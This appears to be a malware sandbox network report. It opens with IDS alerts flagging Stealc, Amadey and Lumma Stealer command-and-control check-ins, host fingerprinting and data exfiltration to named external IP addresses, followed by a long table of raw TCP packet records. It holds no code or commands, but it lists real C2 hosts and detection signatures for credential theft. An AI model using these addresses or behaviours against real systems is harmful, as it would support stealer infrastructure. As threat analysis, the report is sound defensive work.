2024-11-17T10:07:17.377938+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49726	185.215.113.206	80	TCP
2024-11-17T10:07:17.384898+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49726	TCP
2024-11-17T10:07:18.469685+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49726	185.215.113.206	80	TCP
2024-11-17T10:07:19.003962+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49726	185.215.113.206	80	TCP
2024-11-17T10:07:39.515512+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49892	185.215.113.206	80	TCP
2024-11-17T10:07:40.624598+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49892	185.215.113.206	80	TCP
2024-11-17T10:07:41.368785+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49892	185.215.113.206	80	TCP
2024-11-17T10:07:41.843035+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49892	185.215.113.206	80	TCP
2024-11-17T10:07:42.945407+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49892	185.215.113.206	80	TCP
2024-11-17T10:07:43.475414+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49892	185.215.113.206	80	TCP
2024-11-17T10:07:47.649653+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50017	185.215.113.16	80	TCP
2024-11-17T10:09:06.383391+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50120	185.215.113.43	80	TCP
2024-11-17T10:09:09.737609+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50122	185.215.113.16	80	TCP
2024-11-17T10:09:13.529410+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50121	TCP
2024-11-17T10:09:14.003258+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50123	188.114.96.3	443	TCP
2024-11-17T10:09:14.432801+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50124	185.215.113.43	80	TCP
2024-11-17T10:09:14.772503+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50123	188.114.96.3	443	TCP
2024-11-17T10:09:14.772503+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50123	188.114.96.3	443	TCP
2024-11-17T10:09:15.344994+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50125	185.215.113.16	80	TCP
2024-11-17T10:09:15.464248+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50126	188.114.96.3	443	TCP
2024-11-17T10:09:16.322002+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50126	188.114.96.3	443	TCP
2024-11-17T10:09:16.322002+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50126	188.114.96.3	443	TCP
2024-11-17T10:09:17.238082+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50127	188.114.96.3	443	TCP
2024-11-17T10:09:17.920246+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50127	188.114.96.3	443	TCP
2024-11-17T10:09:19.167998+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50129	188.114.96.3	443	TCP
2024-11-17T10:09:28.204964+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50134	188.114.96.3	443	TCP
2024-11-17T10:09:28.723126+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50134	188.114.96.3	443	TCP
2024-11-17T10:09:28.723126+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50134	188.114.96.3	443	TCP
2024-11-17T10:09:30.021462+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50135	188.114.96.3	443	TCP
2024-11-17T10:09:30.021462+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50135	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 10:07:07.133922100 CET	49709	443	192.168.2.6	40.113.110.67
Nov 17, 2024 10:07:07.133982897 CET	443	49709	40.113.110.67	192.168.2.6
Nov 17, 2024 10:07:07.134057999 CET	49709	443	192.168.2.6	40.113.110.67
Nov 17, 2024 10:07:07.134772062 CET	49709	443	192.168.2.6	40.113.110.67
Nov 17, 2024 10:07:07.134784937 CET	443	49709	40.113.110.67	192.168.2.6
Nov 17, 2024 10:07:08.253736973 CET	443	49709	40.113.110.67	192.168.2.6
Nov 17, 2024 10:07:08.253871918 CET	49709	443	192.168.2.6	40.113.110.67
Nov 17, 2024 10:07:08.259727001 CET	49709	443	192.168.2.6	40.113.110.67
Nov 17, 2024 10:07:08.259737015 CET	443	49709	40.113.110.67	192.168.2.6
Nov 17, 2024 10:07:08.260181904 CET	443	49709	40.113.110.67	192.168.2.6
Nov 17, 2024 10:07:08.288196087 CET	49709	443	192.168.2.6	40.113.110.67
Nov 17, 2024 10:07:08.288254976 CET	49709	443	192.168.2.6	40.113.110.67
Nov 17, 2024 10:07:08.288261890 CET	443	49709	40.113.110.67	192.168.2.6
Nov 17, 2024 10:07:08.288393974 CET	49709	443	192.168.2.6	40.113.110.67
Nov 17, 2024 10:07:08.335342884 CET	443	49709	40.113.110.67	192.168.2.6
Nov 17, 2024 10:07:08.537111044 CET	443	49709	40.113.110.67	192.168.2.6
Nov 17, 2024 10:07:08.537601948 CET	49709	443	192.168.2.6	40.113.110.67
Nov 17, 2024 10:07:08.537627935 CET	443	49709	40.113.110.67	192.168.2.6
Nov 17, 2024 10:07:08.537650108 CET	49709	443	192.168.2.6	40.113.110.67
Nov 17, 2024 10:07:08.537692070 CET	49709	443	192.168.2.6	40.113.110.67
Nov 17, 2024 10:07:09.050831079 CET	49674	443	192.168.2.6	173.222.162.64
Nov 17, 2024 10:07:09.066242933 CET	49673	443	192.168.2.6	173.222.162.64
Nov 17, 2024 10:07:09.363163948 CET	49672	443	192.168.2.6	173.222.162.64
Nov 17, 2024 10:07:11.778410912 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:11.778496981 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:11.779031992 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:11.779330015 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:11.779369116 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:12.516999960 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:12.517083883 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:12.539407969 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:12.539453983 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:12.539794922 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:12.561866045 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:12.603393078 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:12.884114027 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:12.884180069 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:12.884227037 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:12.884272099 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:12.884315968 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:12.884335995 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:12.884363890 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:12.885535955 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:12.885567904 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:12.885617018 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:12.885627031 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:12.885653019 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:12.885664940 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.000962973 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.000997066 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.001126051 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.001169920 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.001235962 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.001455069 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.001476049 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.001511097 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.001519918 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.001542091 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.001564026 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.003041029 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.003062963 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.003098965 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.003107071 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.003132105 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.003140926 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.004524946 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.004548073 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.004585028 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.004599094 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.004614115 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.004635096 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.118058920 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.118124962 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.118168116 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.118206978 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.118225098 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.118249893 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.119102001 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.119153976 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.119179964 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.119193077 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.119208097 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.119239092 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.119905949 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.119959116 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.119985104 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.119999886 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.120028019 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.120048046 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.120922089 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.120963097 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.120992899 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.121006012 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.121032953 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.121049881 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.121706009 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.121754885 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.121773958 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.121787071 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.121817112 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.121817112 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.121845961 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.122754097 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.122796059 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.122838020 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.122867107 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.122896910 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.122931004 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.123666048 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.123718023 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.123737097 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.123749018 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.123764992 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.123791933 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.234709978 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.234838963 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.234874010 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.234904051 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.234925985 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.234963894 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.235033035 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.235061884 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.235081911 CET	49710	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.235089064 CET	443	49710	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.307980061 CET	49711	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.308034897 CET	443	49711	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.308185101 CET	49711	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.308336973 CET	49712	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.308413982 CET	443	49712	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.308489084 CET	49712	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.309134007 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.309179068 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.309227943 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.309954882 CET	49714	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.309976101 CET	443	49714	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.310040951 CET	49714	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.310162067 CET	49711	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.310175896 CET	443	49711	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.310247898 CET	49714	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.310285091 CET	443	49714	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.310312033 CET	49712	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.310331106 CET	443	49712	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.310411930 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.310431004 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.311311007 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.311326981 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:13.311383963 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.311491966 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:13.311506987 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.038114071 CET	443	49711	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.041258097 CET	49711	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.041280985 CET	443	49711	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.041558981 CET	49711	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.041563988 CET	443	49711	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.042099953 CET	443	49714	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.043617964 CET	49714	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.043657064 CET	443	49714	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.044259071 CET	49714	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.044265032 CET	443	49714	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.054220915 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.055260897 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.058104992 CET	443	49712	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.097505093 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.097505093 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.113142967 CET	49712	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.128984928 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.129000902 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.129422903 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.129430056 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.138781071 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.138791084 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.138956070 CET	49712	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.138971090 CET	443	49712	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.139220953 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.139228106 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.139408112 CET	49712	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.139414072 CET	443	49712	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.166956902 CET	443	49711	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.166986942 CET	443	49711	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.167066097 CET	443	49711	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.167114973 CET	49711	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.167114973 CET	49711	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.180180073 CET	443	49714	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.180211067 CET	443	49714	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.180306911 CET	49714	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.180377960 CET	443	49714	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.180413961 CET	443	49714	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.180437088 CET	49714	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.180466890 CET	49714	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.197154045 CET	49711	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.197179079 CET	443	49711	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.197213888 CET	49711	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.197221994 CET	443	49711	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.198527098 CET	49714	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.198568106 CET	443	49714	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.198611021 CET	49714	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.198627949 CET	443	49714	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.203952074 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.203983068 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.204055071 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.259411097 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.259526968 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.259651899 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.266241074 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.266341925 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.266427994 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.271339893 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.271368980 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.275337934 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.275337934 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.275398016 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.275429010 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.287245035 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.287266016 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.287329912 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.287345886 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.295103073 CET	443	49712	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.295135975 CET	443	49712	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.295197010 CET	443	49712	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.295214891 CET	49712	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.295258999 CET	49712	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.295627117 CET	49712	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.295644045 CET	443	49712	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.295681953 CET	49712	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.295687914 CET	443	49712	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.317060947 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.317173004 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.317285061 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.337240934 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.337351084 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.344244003 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.344285965 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.344424009 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.344798088 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.344810963 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.345520973 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.345593929 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.345671892 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.345979929 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.346007109 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.346662045 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.346695900 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:14.346751928 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.346857071 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:14.346872091 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.014676094 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.015248060 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.015266895 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.015722990 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.015728951 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.074651003 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.075123072 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.075146914 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.075571060 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.075577974 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.077735901 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.077987909 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.078023911 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.078459024 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.078468084 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.080543995 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.080799103 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.080807924 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.081159115 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.081162930 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.081511021 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.081738949 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.081757069 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.082257986 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.082264900 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.146838903 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.147006989 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.147078991 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.147193909 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.147213936 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.147224903 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.147231102 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.150063992 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.150170088 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.150278091 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.150458097 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.150481939 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.204750061 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.204941988 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.205004930 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.205075979 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.205096960 CET	443	49720	13.107.246.45	192.168.2.6
